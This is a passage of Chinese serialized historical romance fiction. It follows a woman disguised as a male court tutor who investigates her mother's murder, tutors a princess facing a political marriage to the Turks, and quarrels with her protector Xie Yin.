“哼,谁人不知那突厥野蛮无礼,我大夏开国以来就没有用女人求和的道理,你们这是把小公主往火坑里推。”
孙尚书的话一出,朝堂风向有些转变。
是了,大夏自开国以来,奉行不和亲,不向突厥低头求和的策略。
到了他们这一代,怎的就非要屈辱得用公主一人来保全大夏!?
不光蒙了祖宗的连面,也是让他们这些人抬不起头来。
谁人不是铮铮铁骨,就算是战死沙场,也比低三下四求来的虚假的安宁好。
“
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孙大人,现在什么时候了,大夏早已...哪里受的住突厥的重击。”
陆德静自然佩服这人进谏的勇气,可时势如此不由人。
把公主送去,就算是能保下大夏一两年和平,足够剔除大夏毒瘤,也足够大夏养精蓄锐了。
群臣闹做一团,最后皇帝捏着禁皱的眉心,拍板叫住险些打起来的两边人马,“准备准备,陆大人朕命你为使者出使突厥,与他们谈判,若是他们愿意与我大夏结亲,和平相处,是最好,若是他们执意中原,那我大夏好男儿在这里随时恭候!”
“陛下圣明。”
群臣也不敢再说什么,皇帝要求和,那就是要外面安宁,不要京城安宁。
赵怀庆为自己捏了一把汗,无论如何,他也逃不掉了。
下朝后,谢寅没再忌讳与陆德静同行,“哟呵,老头子,竟然和魏大人串通好了。”
“怎么说话呢。”
陆德静哪里惯着谢寅,直接上手想拍这人的脑袋。
但是这个人太高了,或许是因自己垂暮,曾经与他并肩,甚至被他嘲笑过矮个子的小屁孩早已经比他高了。
那一掌打在了谢寅背上。
“师父,我又没保护好她。”
他收回了刚才的不着调,近乎自责地说出这句话。
“谁动手了。”
陆德静虽年老,但脑子清明。
“赵家。”
“这次,我出京说服突厥,你要助魏大人扳倒士族,不能再玩忽职守了,否则,不只是疏影,还有千千万万的百姓为士族的贪婪所害。”
陆德静意味深长。
师徒二人也算是简单告了别,二人直到出宫门才分开。
“老头,平安回来。”
陆德静只是借着夕阳的光晕冲着谢寅笑,没再回话,二人就此分别。
“谢大人,不知林大人怎么样了。”
谢寅回过神来,唤了长青跟上自己,便与魏大人在宫墙前说,“大人不知,那赵家的人竟然光天化日之下刺杀林疏影,若不是我及时赶到,林大人就险些丧命。”
“竟如此,赵家真是大胆,竟敢公然阻挠查案!”
魏丰华一甩袖子,冷哼一声,随即是想到了什么似的,“赵家如何得知林大人也...”
“这正是我头疼之处,士族的手竟已经伸得这么长了,恐怕皇宫里都有他们的眼线。”
“林大人如今伤势严重,待会儿我亲自把卷宗送到您跟前,不会耽误旧案。”
谢寅拱手。
“还是以身体为重,这次咱们可要把赵家的罪名做实了,让他们再也不敢在京城翻出浪花!”
魏丰华依旧和煦,平易近人。
“我和林大人随时等候您差遣。”
魏丰华忙接上,“好!”
二人寒暄几句,便行礼分开。
谢寅犹豫半天,终于替林疏影开了口。
若是真的因为这次刺杀与真相失之交臂,想必她会自责。
既然她想要靠自己的行动找到真相,那这次机会,他也必须为她争取。
林疏影,你欠我的越来越多了,怎么还呢?
二人分别,谢寅去了自己的院落,嘴上带着一抹不明深意的笑。
放心,我不会再让你受伤了。
36. 第 36 章
林疏影歇息了不到两日,她就坐着也不耐烦,躺着也不舒服。
本以为可以进一步推进旧案了,她整理出来的卷宗足以证明是赵家从中作祟,而那日赵家的刺杀,早已能够说明一切。
而谢寅这两日貌似不再“禁足”了,究竟发生了什么...
她一个小小侍读,既上不了朝堂,如今又因为一身的伤去不了翰林院。
被憋在这个院落里面,她甚至觉得有些窒息。
谢寅会抽空来看她的伤,不过,每次也都是一顿饭的功夫,吃饭时谈笑风生,吃完饭,他又匆匆离去。
林疏影坐在桌子前,盯着满桌子的饭菜,她已经能够预想到即将发生什么。
她本以为不会再被高墙困住,但这样不舒服的感觉充斥在这两日里。
这并不算是囚禁,谢寅能在偌大的京城里庇护她,她已经万分感激了。
“身上的伤可好些了?”
谢寅一身红衣,仿佛恢复了平日里的英气。
林疏影闻声抬眼,看着近在眼前的人儿,意气风发,然后又低头看看自己的手。
“好多了。”
不知道为什么,她突然很羡慕谢寅,家里父母疼爱,仕途也得皇帝青睐,前途无量。
“赵家怎么样了?”
“皇上想再等等,这一阵子...”
谢寅坐下,给林疏影夹菜,想逃过这个问题。
在和亲一事未定下之前,突厥进犯之事不能泄露。
林疏影看着碗里的菜,心里思绪万千,皇帝要再等等是什么意思。
难道他不想除去士族?
“你母亲可是姓赵?”
谢寅这么一问,打断了她的思路。
“嗯。”
林疏影有些不着头脑,这个人为何突然提起了她母亲。
“你母亲可是为了追查陈家旧案一事而被毒害。”
“不错。”
林疏影放下手里的筷子,抬头看着眼前那人,直勾勾得盯着他的眼睛。
他如何能知晓?
“令母的死可能是赵家...”
“不可能!”
林疏影的太阳穴直突突,她不得不使劲按住。
赵家作恶多端,但虎毒尚且不食子...
她知道母亲与赵家不和,甚至不惜嫁给当年一穷二白的爹。
这些年,母亲早与赵家断了联系,况且赵家又是如何得知母亲在寻觅二十年前的真相。
他们是亲人,母亲怎么可能被血缘亲人杀害!?
怎么可能。
“前些日子,我在青娥里见了一个人,他说他知道令母的死有蹊跷,也知晓就是赵家所为,我便把他带回来了,你可以去问问。”
谢寅别开眼,他不忍心看那双逐渐泛起红晕的眼。
想来,她在这里闲不住,还是给她找点事情做。
正好这就是她一直在寻找的真相。
“他在哪里?”
林疏影觉得自己连话都说不清楚了,勉强维持着自己的神智。
“别着急,吃完饭,长煊会带你去。”
谢寅拍了拍林疏影的手,示意她安心吃饭。
林疏影看着抓着自己的修长的手,心里得了一丝慰藉,除了母亲,难得还能遇见一个对她好的。
她耐着性子吃完了饭,苍白的唇瓣渐渐恢复了血色。
林疏影的手停在门扇前,她心里五味杂陈,若一切都像谢寅说得那般,她又该如何?
犹豫间,她不禁嗤笑自己。
这不就是自己要寻找的东西吗,就摆在眼前了。
再说,母亲...
母亲或许早就看透了那些人连禽兽都不如,所以才毅然离开赵家。
她不再乱想,事情走到这一步,该进行下一步了。
“你就是高承?”
她破门而入,惊扰得屋子里的人从床上窜起来。
竟然还有人在晌午找他。
高承带了几分警戒,虽然这几日他过得十分安生。
“阁下是...”
高承上下打量着林疏影,又看看她身后的长煊,那模样很像带他回来的人。
“林疏影,你只需要告诉我,为何赵家娘子之死与赵家有关。”
二人就这么僵持在门口,高承见了这么个直入正题的,向后退了一步。
长煊顺势拔出自己的剑,一双眉眼犀利地看着高承。
高承看这架势,便知道,自己今日必须要说了。
“若我猜得不错,二十年前,是赵家意图将巴郡的一大部分粮食运到自己的私库里,但是被当时的陈太守截下,这人便随便找了借口,把太守冠上与外族勾结的死罪,便将陈家...屠戮殆尽。”
“然后呢,赵家娘子又是怎么牵涉到这里面的?”
赵家私藏粮食就是有了不臣之心,这还都是二十年前。
若是高承说的不错,那赵家又为何安分了二十年,她虽瞧不起父亲的懦弱,但父亲并不是亲眼看着赵家觊觎巴郡粮食的人。
“我...”
高承突然含糊不清,他看着眼前酷似曾经的心上人的人,有些说不出口了。
“长煊。”
林疏影以为他还有些顾忌,毕竟赵家扎根大夏多年,这人害怕得罪赵家,也是情有可原的。
长煊应声,将剑搭在高承的肩膀上。
剑锋直指那人的脖子。
高承看着自己渗出一丝血的刀口,不禁一笑,他轻轻拨开脖颈间的剑。
“我偶然看到了她的信,她在巴郡查案总是没什么眉目,就写信求助赵家,但信件到了赵家不久,她就...”
高承禁不住哽咽。
曾经那个名满京城、风光无限的才女,究竟还是...
“你如何看见了?”
一个无名小卒就能潜入赵家,偷看了母亲写给祖父的信件?
林疏影打量起来眼前的人。
麻布衣服,全身上下也没什么值钱的东西,难不成这人是赵家的侍卫。
“你是谁,做什么的。”
“我只是以卖草鞋为生的小贩而已,公子,我想问你一句。”
林疏影搞不清楚这人想做什么,便顺着他的话,“你说。”
“这些年,她过得好吗?”
“她...”
林疏影忽然觉得讽刺,她陪了母亲十六年,好像也说不出母亲这么多年过得好不好。
母亲似乎只想要她开心就够了。
但母亲自己心里是怎么想的。
林疏影觉得自己有些
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自私,这么多年,她渴求什么,都未曾想过母亲会如何。
但母亲总会竭尽全力将她想要的都给她。
“这么多年,她身前有个顽皮的孩子陪她,不短吃喝,应该算好吧。”
林疏影知晓自己再问下去,也问不出来什么,于是就丢下这句话后便离开了。
她跌跌撞撞地回了住处,勉强撑开纸,提笔写下一封信。
“长煊,你派人将这封信送给巴郡的林太守,如果他愿意帮我找人证,那赵家可就再也跑不掉了。”
若是能找到二十年前陈太守身边的侍从,便是人证物证俱在,赵家的阴谋便不攻自破了。
林疏影折叠好信件交给长煊。
除了赵怀庆,她没见过其他赵家人,这些人狼心狗肺,连母亲都能毒害,她自然不跟这些人讲什么血缘关系。
晌午过后,林疏影心里很乱,本想找些事情做,却总是静不下来心。
忽然一个小石子穿过窗户,打到她拿着的笔上。
林疏影这才反应过来,笔墨已经浸染了纸张一大片。
她闭了闭眼,深吸一口气,终于不再勉强自己,放下笔。
收着纸张时,她又注意到上面的小石子。
正疑惑间,忽觉房顶上有人。
她警觉起来,拿起靠在桌子一旁的剑,谨慎地出门查看。
自从被赵家刺杀后,她自然警惕万分,虽然谢寅也为她增添了不少守卫,但她还是将疏影剑随身携带。
“喂,你身体怎么样了。”
李月明仍旧一身粉衣,站在房顶上俯视着拿着剑的林疏影。
林疏影看着李月明身旁不知所措的守卫,不禁觉得好笑。
都及笄了,怎么还是小孩子心性。
“我都好,公主还是快些下来,别伤着了。”
“好啊,你接着我。”
林疏影看看自己手臂上的绷带,更是觉得这人还在记恨那几遍抄写。
长煊看着得意洋洋的永宁公主,“公主,还是我来吧,您...”
谁知,永宁根本没搭理他,直接找了比较低矮的房檐一跃而下。
“我的身手如何?”
永宁拍拍落了灰的手,冲林疏影笑。
“自然是最好的,比在下的三脚猫功夫都好了不知道多少倍。”
林疏影看着永宁,心里一软。
曾经的她不也是这样肆意,这样天不怕地不怕。
天真无邪地活在母亲的庇护下,什么烦恼也没有。
“好了,夫子你突然这么肉麻,我都不知道该说什么了,外面有风,咱们去屋里说会儿话。”
林疏影示意其他人退下,与永宁进了屋。
“你怎么又跑出来了?不怕被你皇兄发现。”
“哼,他整日里忙死了,连他的妃子都难见他一面,哪有时间来看我!”
一提到她的这个皇兄,永宁就气鼓鼓的。
“夫子,你是不知道,虽然他是我名义上的哥哥,但他眼里心里都没有我这个妹妹。”
“怎会没有,你问过他?”
林疏影忍不住摸着眼前人的头,宠溺得笑着,小公主真是有能力转移她的不安。
哪怕二人就说了这么一会子的话,现下,刚才心里的情绪都烟消云散了。
37. 第 37 章
才送走公主,林疏影守着寂静的房间,索然无味。
无论房间多大,她都觉得憋闷。
谢寅的心意她收下了,但是她也该有自己的决定。
公主的课业因为她荒芜了这么些天,她有些惭愧。
但总归要告诉谢寅一声。
林疏影准备了晚饭,坐在桌子前,等着那人回来。
毕竟谢寅帮了她许多,正好借这个机会感谢一下。
刚开始,她端正地坐着,还专门挑了一件比较新的衣服,礼数算是周全。
但左等右等,仍不见人影。
长煊看着林疏影不耐烦得拄着胳膊,“林大人,主子他今日要与大臣们商议事情,您还是早些用膳吧。”
林疏影轻叹一口气,虽有不耐烦,但她还是有些度量,倒不至于为这点小事生气。
“好,你吃饭了吗,坐下来一起吃吧。”
她看着一大桌子的菜,不禁皱眉。
这个谢寅不早说回不来,这么多菜,她自己一个人如何能吃完,浪费了可就不好了。
“哪里...”
长煊酝酿了一肚子的话准备回绝,但林疏影哪里给他这个机会。
“坐下,你主子是不是说,让你都听我的?”
“是。”
“那就坐下来一起吃,都吃完。”
林疏影没忍住,笑出声来,自己这模样,倒是像那些纨绔世家子弟在调戏良家妇女一般。
二人用过晚膳后,林疏影依旧不死心地等着谢寅。
她先是在烛灯下练字,但她这刚受完一身伤的身体没耐住,不多时,笔就从手里脱落。
林疏影看着被墨水乌黑的字迹,还是放下了笔,换做书。
明日要教些什么,她还没看呢,还是要准备一下。
这次她直接趴在桌子上,把书当作了枕头,烛火一闪一闪。
模模糊糊间,林疏影觉得胳膊底下的书有些硬,便循着记忆摸到了床榻。
次日一早,谢寅竟还没回来。
林疏影看看透过窗户的光线,约莫着时辰,若是谢寅回来了,早就把她喊起来了。
到底在商议什么事情,林疏影按着太阳穴。
按理说,没什么大事,哪里会有官员彻夜在皇宫里商议的?
昨天谢寅还有些支支吾吾,赵家的案子说停就停?
前些日子,皇帝在朝堂上可是下了决心要重伤士族的。
林疏影慢吞吞地起床,自己穿好了衣服。
简单用过午膳后,她便动身前往皇宫。
长煊意图阻拦,但被林疏影的三两句话堵住了嘴。
一路上,街道依旧繁华,百姓依旧安乐。
但她总觉得自己的心空了一块,不知为什么。
林疏影得先去翰林院复命。
然而,望着空空的翰林院,林疏影不禁头疼。
难不成翰林院的人也要去议事?
她抱着最后一丝希望去了大堂。
原来都在这里,怪不得,与她同期考上来的榜眼、探花线下正任职翰林修撰一职,他们围坐在大学士齐怜生身旁。
林疏影只得咳嗽两声,众人似被抓住开小差,纷纷跑开。
她将自己的假消了之后,还是没忍住,问刚才被围住的大学士。
“朝廷最近是有什么事吗?”
“在下并不知晓。”
齐怜生端庄儒雅,连她见了都觉比不上。
但若真是死守“规矩”的书呆子,那更没劲了。
林疏影又追问几次,这人从容回绝,明显是知晓什么,但就是不肯说。
她只能拜别这位前辈。
想必是什么机密,只要不阻碍她查案就行。
林疏影甩甩袖子,径直往文华殿走去。
她这个决定颇为匆忙,昨日也没告知公主,眼下,公主定然是不在文华殿的。
但她现在是男人,也不好直接去找。
到了文华殿,让丫鬟太监去叫也是一样的。
林疏影看着暗红的宫墙,有些唏嘘,她连谢寅的院子都觉得憋闷,何况是这么高的墙呢。
皇家的人,生下来就是锦衣玉食,但谁又能忍受这样的限制。
然而就是这么暗红的宫墙,养出来一身鲜红活泼的小公主来,也是神奇。
她想起昨日永宁费尽心思逗乐她的场景,不禁笑出声来。
思索间,她就走到了文华殿。
刚迈进去,便看见了端正地坐在桌前的小公主在认真练字。
与前几日大不相同。
恰巧公主听见声响抬起头来,“小翠,快把水给本公主......送来。”
“夫子!”
永宁看清了眼前的人,脸上的一丝疲倦烟消云散了一般,换上了亲人的笑。
她放下纸笔,便向林疏影冲来。
就要抱住林疏影。
虽然林疏影不是男人,但还是要注意的,“公主,还是要注重礼数些。”
“礼数、礼数,你们这些人满脑子都是礼数。”
永宁嘟起嘴,两只胳膊抱在胸前,有些生气。
林疏影看着这么一副模样便觉得好笑,当真是个小孩子。
“今日是怎么了,不偏爱你的华服了?”
“夫子救了我,我怎么好再那般故意与夫子过不去。况且,本来就是永宁有错在先,夫子既往不咎,后又为了永宁,一人应对那么多奸人,从小到大,你是唯二会不顾自己来救我的。”
永宁低着头,两只手交叠在一起。
林疏影看着眼前一身素衣,头上也没有什么金玉珠宝的小公主,心里有些暖。
“好了,你只要好好学这书本,就是对我最大的回报了。”
“永宁会的。”
小公主乖巧非常,林疏影讲得出奇得顺利。
她满意得合上《大学》,冲永宁投去赞赏的目光。
然而,永宁却直接上前来,拉着她的袖子,“夫子,你一定看过不少话本子,你给我讲讲呗。”
林疏影有些意外,但还是顺着永宁的话问,“公主想听什么?”
“我要听京城最时兴的话本子,叫什么...叫什么花魁和卖油郎。”
林疏影想着若是一般的侠义的话本子还好,结果确实这个。
她有些为难,公主还太小,接触这些...
“夫子,哎呀,你给我讲讲呗,这偌大的皇宫什么都有,但也什么也没有,我整日守着冷清的宫苑,真是无聊透顶了。”
永宁不依不饶。
林疏影轻叹一声,不过是个故事而已,如果没有这宫墙的阻挡,这个
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小家伙或许早就知晓这是个什么故事了,哪里还用求她来讲?
“好,不过,只此一次。”
她平日里是不怎么看这些话本子的,若是下一次这个小祖宗又要求她别的,那可就得再思量一下了。
“这个故事名卖油郎独占花魁,讲述了卖油郎秦重,忠厚老实,对花魁倾心之后,仍不逾矩,仔细照顾,打动了花魁,然后便攒下钱财为她赎身...”
林疏影模模糊糊地将这个故事说来。
“那有人这么做过吗?”
永宁听后思索片刻,问道。
“书本以外吗?这个我当真未见过,话本子是人编的,就跟这些经典一样,只不过这些经典是为了让后世学习,而话本子就是要讽刺什么或者博人一笑罢了。”
林疏影没多想,只当是小孩子对于外面的好奇。
“那夫子你有倾心的女子吗?”
“嗯?”
林疏影一下子被问住了,她扭头看坐在一旁的小公主一脸正色,也不好逃开,便直接了当,“并无。”
“假若你有,你愿意不顾一切地娶她吗?”
不知为何,林疏影地脑海里浮现出谢寅的那张脸突兀地出现在一个女人身上,凑巧,那人一身红衣,像极了嫁衣。
意识到自己想到什么的时候,已经晚了。
她赶紧把脑海里的东西摇晃出去。
“夫子,你心口不一。”
永宁自小敏感,对林疏影这点端倪一下子就捕捉到了。
“你还调侃夫子了?怎的突然问这些?”
林疏影咳嗽两声,掩饰尴尬。
“我有一个倾心的人,但是他好像不喜欢我。”
永宁看着自己交叠在一起的手指,慢吞吞地吐出这一句话来。
她说完又觉得没说完,便补充道,“那卖油郎和花魁都是对彼此倾心的,所以他二人最终才会走到一起,若是我单方面...那我们是不是没有结果。”
林疏影本以为小孩子只是一时兴起,听了这话,她倒是也思索起来。
若两个人不是两情相悦,自然没什么结果。
可身在皇家的公主自然知晓婚事是不由自己的。
她扭头看着面上戴着红晕的永宁,心里不住地叹气,眼神里更是有了些怜爱。
“公主能将这件事告诉我吗?”
“我憋在心里好久了,连齐嬷嬷也没有告诉,你绝对不能泄露出去!”
永宁转过头,看着林疏影的眼睛。
林疏影不躲闪,片刻之后,终于赢得了小公主的信任。
“我一定不告诉别人。”
“他叫齐怜生,他救过我。”
林疏影本想喝口茶润润嗓子,听了这名字,不顾什么礼数了,直接将嘴里的茶水尽数吐出来。
“谁?你说的那个人是谁!”
“哎呀,就是翰林院大学士齐怜生。”
永宁见林疏影一惊一乍的,不禁腹诽起来,怎的这个人平日里正经的很,现在怎么这么失态!?
“你如何遇见他的,你们二人...”
这两人平日里连见都见不到,而且,齐怜生还是她的同僚,那个受陛下器重的儒雅端正的人恐怕不知道自己招惹了这么一尊大佛。
真是,这个小丫头,倾慕谁不好,竟然...
38. 第 38 章
“他怎么救的你,你们二人怎么样了,如实交代。”
林疏影板着一张脸,她本想让永宁休息会儿再继续讲,眼下有这茬事,哪里还能再讲书?
“夫子,你...”
永宁自小敏感,自然察觉到林疏影的一丝不易察觉的不悦,她想起齐嬷嬷对她的告诫——公主身份尊贵,切不可对这宫中的任何一个人有情,否则后患无穷。
是了,齐嬷嬷从小教导她断绝这些情感,但她到底还是需要友情、亲情、爱情的。
冰冷的宫墙困不住她,她也不愿意一直被困在这里。
既然卖油郎都可以凭借自己的努力救出困在风尘中的妓女,那她只要找一个能够救出她自己的人,她也能获得自由。
宫墙之外的生活,除去市井街巷,还有许多趣事,每天也有吃不完的糖葫芦。
林疏影严厉地盯着眼前这人,她在等,在等公主全盘托出。
永宁想着未来的美好,终于下定决心,“我想让齐怜生救我出去,我想让他娶我,我不想再被困在宫里。”
她下定决心,语气决绝。
林疏影听得一愣一愣的,齐怜生背后没有家族,走到今天这一步全凭得了陆大人的赏识,哪里配得上娇养的公主,况且她也不信那么克己复礼的一个人能给公主这样的承诺?
“那他想娶你吗?”
“我会让他想的。”
永宁撇撇嘴,看着林疏影紧皱的眉头,颇有些不屑。
“夫子,你不需为我担心,这件事我一定会做得很好。”
林疏影只得尴尬地笑两声。
这种近乎任性的霸道倒是让她有些熟悉了,不过,这样看来像是永宁的一厢情愿了。
齐怜生知道了这事,也不会让公主一错再错的。
只要不是两人相爱而不得,这一切就还有转圜的余地。
“公主,你可知道,就算你不让他娶你,你皇兄会给你寻一个门当户对的人家,你也是能出宫的。”
“不过是换了一个地方被困着罢了,永宁这点还是知道的,出门都要费劲,哪里算是自由。”
林疏影被这话一噎,她竟然反驳不了,是了,这个朝代对女子总是限制颇多。
永宁站起身,她解释得未有不耐烦,夫子毕竟是男人,还未娶妻,不知道这些束缚也是正常。
“而且,皇兄从来不喜欢我,他只爱权势。嫁我,也不过是他巩固权势的手段,没准我到了那所谓的门当户对的地方,又要讨好侍奉那人,还要与那男人的几房小妾勾心斗角,这样的生活和宫里没什么区别,我也过厌了。”
她接着说,话音不高不低,刚好能让林疏影听见。
林疏影听了这话,不禁沉默,她一直以为公主只是生在宫里,只是会有些敏感,只是会使些小聪明,只是被娇养的更加任性一些。
但换做平常人家的女孩,刚及笄的年纪,正是天真烂漫,心里眼里都是心上人的,痴心爱情的小孩。
但公主也是及笄一般的年纪,竟看透了这朝堂和人心。
再回想起来二人见面时,永宁故意给她的下马威,或许那时候,公主就明白皇帝的意图,所以才那般针对她。
她只得轻叹一口气。
再次感叹,这样明媚灿烂的女孩,若是生长在寻常的市井人家该多好。
若是,公主能有她这样的命,会不会快乐几年...
林疏影不敢再做假设,她的结局会好到哪里去?
“公主,先不说那齐怜生的性子,单说他正前途无量,他若是与你远走高飞,隐秘山林,他的前途就都毁了,你这是要拿情爱威胁他的前程,他哪里会同意?”
永宁听了,本没有什么表情的脸上流露出淡然,“夫子,可他们男人的事业总要我们女人来铺路。”
她挨着林疏影坐下,眼角微微泛起了红晕。
没有哪个官场得意的人会为了一个女子舍弃前程,就算是金贵的公主也不会。她怎会不知!?
但她就是心悦于那人,她就是想要自由,她就是...就是不想再被困在冰冷的暗红色的墙里了。
人人都渴望宫里的生活,以为那里面都是人中龙凤,但只有里面的人才知道什么叫做“勾心斗角”、“趋炎附势”...
“为什么,女人就要被困在宫墙里,男人就可以出去建功立业,书上从来教导女子相夫教子,为什么,我只是想出去玩...”
林疏影不忍地抚上永宁的脑袋。
哪里有什么为什么,可能是古人的经验,也可能是为了朝代的稳定,她也无数次怀疑古人的书册,但最后还是妥协。
这个问题她自己都未曾解决,也不好再把自己失败的经验拿来解答。
而她所谓的反抗,不过是用男人的身份为母亲报仇。
但她的身份终究是个埋藏在脏器深处的尖刺,一旦被发现,必将给她带来致命一击。
结局或许是为了复仇把自己搭进去而已,她命贱,能为母亲报仇也就足够了,但公主金贵,她也不忍心公主走上这条违逆的路。
不会有好结果的。
如果能改变古书,改变女子的命运,这些涉及生死的问题恐怕都不值一提了。
“起码,你嫁人后,可以搬出皇宫,偶尔可以出府游玩...”
林疏影突然哽咽住,她本想要安慰小公主,却觉得自己的话字字诛心,字字都是要公主妥协,可这孩子能听进去的怕只有妥协二字。
就像曾经为自由疯狂的自己一样。
“你也是这么想的么,夫子。”
之前齐嬷嬷的话也是如此——以后会慢慢变好。
可哪里有那么多以后!
她甚至托人打听了所有士族的贵公子,哪一个不是纨绔的,哪一个能真正爱她敬她,哪一个能给她想要的自由?
没有。
所以,她自己来选。
但平日里对她好的人都想要劝她,劝她迷途知返,回头是岸。
回头是悬崖,不是岸边,应该悬崖勒马,不是吗。
“我...”
林疏影不知该说些什么,满腹的劝言哽在咽喉中,无从说起。
“眼下,皇上也有拔除士族的心思,或必然会扶持新贵,齐怜生又如此得圣眷,我替你留意些,改日问问你的婚事,可好?”
林疏影为永宁抹开眼角的泪。
幸好小公主没有着些艳丽的装,不然这一道道泪痕可就遮掩不住
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了。
她一直注意着外面的人,毕竟她的身份是男子,还是需要与公主避嫌的。
永宁眼底浮现出雀跃,泪闪着光,一副出楚楚可怜的模样,让林疏影的心软透了。
“真的?”
“夫子骗过你吗?”
确认之后,永宁才慢慢将自己的情绪完全展露出来。
她开朗地笑,一如那日哄为救自己而重伤的林夫子的笑。
裙摆铺展开少女的心事,伴着笑声,直入林疏影的心,是了这才是公主该有的天真烂漫。
林疏影走在回府邸的路上,回想着这日发生的事情,还算充实,也没再忧心于赵家一事。
长煊派出的人还需要几日才能回来,她只需耐心等待即可。
不远处鲜艳的糖葫芦让她想起了远志,不知道他们母子二人过得好不好。
林疏影正走神,一个人直接从身后将她揽住。
她本想挣脱,奈何身后那人力气极大。
正要喊长煊来救她时,身后那人低下头,小声地在她耳边说,“好大胆子。”
她当是谁呢。
原来是这纨绔,那便不奇怪了。
“谢大人的禁足呢,我看是你好大胆子吧。”
林疏影故意将这件事摆出来,她就是想要知道朝廷到底发生什么了,竟然连陈家旧案都要停。
“你一身的伤,心里没数吗,还在这里跟我犟嘴!”
这次谢寅的语气可再没先前几次的柔和,倒是也让林疏影愣神了片刻。
他什么意思,这是在责怪自己吗?
“谢大人,我哪里这么娇气了?不过是为公主讲书,你如何对我这么上心?”
林疏影的语气颇有些调侃。
她不相信谢寅对自己有情爱,就像齐怜生不会放弃自己的前程一样。
这样的身份,被发现了,也只有众叛亲离的结局。
况且,她有长煊陪在身旁,如何能再被刺客逼入绝境!?
赵家的刺杀就是自露马脚,林疏影现在想来,还有几分怀疑。
有了赵家的前车之鉴,那些士族也会老实一些,赵家才是主谋,其他家族若想保全自身,也不会再有什么大动作了。
“你...我...”
谢寅加重了手上的力道,他想将藏在心里的话尽数说出来,但这人眼里心里只有复仇,接近他也不过是为了利用他的权势,他就算说出来了,只怕这人只会逃避。
林疏影的肩膀被谢寅莫名其妙的火气捏得生疼,她停下脚步,皱眉道,“怎么,谢大人这是在提醒我,我借了你的势,就要被你随意拿捏?”
“在你心里,我就是这样的人?”
这些天,他与那些士族费尽口舌,这还不算,他每日拜别父母,为数不多的空闲都给了眼前这人,甚至在谢府吃了饭,还要再配林疏影吃,生怕她寂寥。
就换来这么个结果?
林疏影全然不领情不说,还将他想得如此霸道!?
他若真是这样,那还费什么力气将自己的心腹派给她,直接把这人关在后院就好了,不用日日担心。
她想要什么,他都会给,不管是陈家旧案的真相还是林夫人之死的真相。
39. 第 39 章
“林大人好样的。”
谢寅丢下这一句话,气呼呼的迈着步子走了老远。
林疏影揉着一侧隐隐作痛的肩膀。
她怎的又没控制好自己的性子,不过是被捏痛了而已,跟那个高高在上的谢大人计较什么。
谢大人连一句调侃的话都听不得,难不成要跟他演一往情深的戏码的人是她自己吗。
林疏影看着远处的红色衣角在霞光里飘飞,面上只得苦笑两声。
无论如何,是她的话伤人在先,还是去道歉罢。
毕竟寄人篱下,又用了他人的权势,再不好给那人脸色看。
她迈开步子,追上不远处的人。
谢寅心里有气,但仍留下来陪林疏影用了晚膳,期间二人一句话没有。
林疏影还曾试探性地给那人夹菜,结果都被“婉拒”,她也只好作罢,安生地吃完了饭。
最后她抓准时机,“谢大人,我知错了,你的好意我都记在心上,你还是同我说一两句话吧。”
谢寅正要回谢府,此刻被这个“气人精”缠上了,他就是再气,但面临这人的软下来的语气还是抵挡不住。
“你...你不该那么想我。”
他将下午的气全都汇聚在这句话里,说得林疏影更加惭愧。
什么叫“以小人之心度君子之腹”,现下,林疏影可清楚了。
“谢大人风神俊朗,足智多谋,对待下属那可是无微不至,我林疏影往后不敢再质疑谢大人的好心了。”
林疏影酝酿了一整个晚膳的话,可是将谢寅夸上了天。
看着谢寅难掩嘴上的笑,她便知晓,这话说对了。
然后,她就要进行下一步了!
“那...谢大人,你把那么得力的侍卫派到我身边,我感激不尽,而皇宫里没什么刺客,而这府邸与皇宫又极近,有长煊在,我进宫授课哪里还有贼人敢袭击。”
她边说边观察谢寅的表情,时时刻刻警惕自己不要再说错了话。
“陈家案件已经有了一些眉目,赵家人定然是逃脱不了的,眼下,我该做好我的差事。”
谢寅不置可否,心里有些不自在,怎的这人对刚认识的跋扈公主这么上心。
这个人心里从来没给他留过半点位置。
林疏影看着谢寅有些暗淡的脸色,不知自己又说错了什么话,但又觉得是忽明忽暗的灯光,战战兢兢地等着这人的回答。
宫里的那个是她的小祖宗,站在这里的是她的老祖宗,两个人她都惹不起。
想起答应了永宁的事,她就头疼,真是给自己揽来这么大一个问题。
不过既然已经承诺了,便尽力吧。
“你对永宁公主倒是上心,不过也没多长时间了。”
谢寅看看周围的夜色,时候不早了,他本想告诉林疏影公主和亲一事。
但明日京城便无人不知,也不用通过他的嘴来告诉眼前这个“多情”的人了。
林疏影听着这话云里雾里的,刚想问出口,就被长青的突然出现吓着了。
一道黑影穿越夜色,极轻地落在谢寅身旁,“主子,谢大人已经等了一段时间了,若是再不走,大人就要动怒了。”
本来寂静一片的只有两个人的话语声和呼吸的院落突然冒出个人来。
“啊-”
林疏影忙抚着胸口,连带着捂住嘴。
意识到自己在谢寅跟前失态了,她忙将手放在嘴上,脸也开始涨起红色。
长青看着眼前的一幕,有些不知所措,他有些无辜地看着主子,结果却被冷冷一眼撇回去了。
行了,这个时候,主动认错总是没错的。
“林大人,是属下没做好,请责罚。”
“哪里,是我一惊一乍的,你们若是着急,就先走吧,我就当谢总督你同意了。”
林疏影没再纠缠,她没等谢寅回话就匆匆跑回了房间。
“主子、主子?总督!”
长青看着望着林大人的背影的自家主子,目光含情,暗叹主子真是痴情,但老爷可是等着呢。
若是这次再晚回去,主子就得等着老爷的板子了!
他可不想被主子连累一起受板子,硬着头皮喊道。
谢寅回神后,似不喜他打破了那一瞬的意境,冷冷撇了长青一眼。
林疏影这一夜好梦,梦醒时,她不禁回味几分。
又是自然醒,看来谢寅还是很忙。
若是谢寅在就好了,就不用她自己一个人用膳了...
意识到自己在想什么时,她猛得摇晃着脑袋,想把这个念头晃出去。
她草草用过早膳,便赶去翰林院。
大夏曾有内阁,但内阁成员被先帝尽数拔除,不管是为大夏鞠躬尽瘁的阁老还是士族的走狗一下子清了个遍。
那次大动干戈,饶是伤了大夏的根本。
然而,也只让士族安生了几年。
先帝死后,新皇上位,然皇帝尚且年幼,士族借着太后重整旗鼓,更加明目张胆地将运河带来的金银据为己有。
不过五年而已,竟成了当初内阁那几个老家伙一样野心勃勃的势力。
本来翰林院是通入内阁的唯一途径,但现在内阁空置十年,翰林院内的官员也既没什么实权,俸禄也少得可怜。
不少士族子弟嫌弃,故而翰林院走的走、散的散,现今只剩下一些寒门子弟和混口饭吃的,还有一心沉醉经史子集的。
故而,这里面没什么勾心斗角,也没人一心想得皇帝青睐而踩着他人的功劳献媚,倒是很清净。
但皇帝此番打压士族,势必要扶持起来更听话的势力,而翰林院是个极佳的选择。
所以,齐大学士谋略无双,皇帝想要拉拢,招他做驸马也不是不可能。
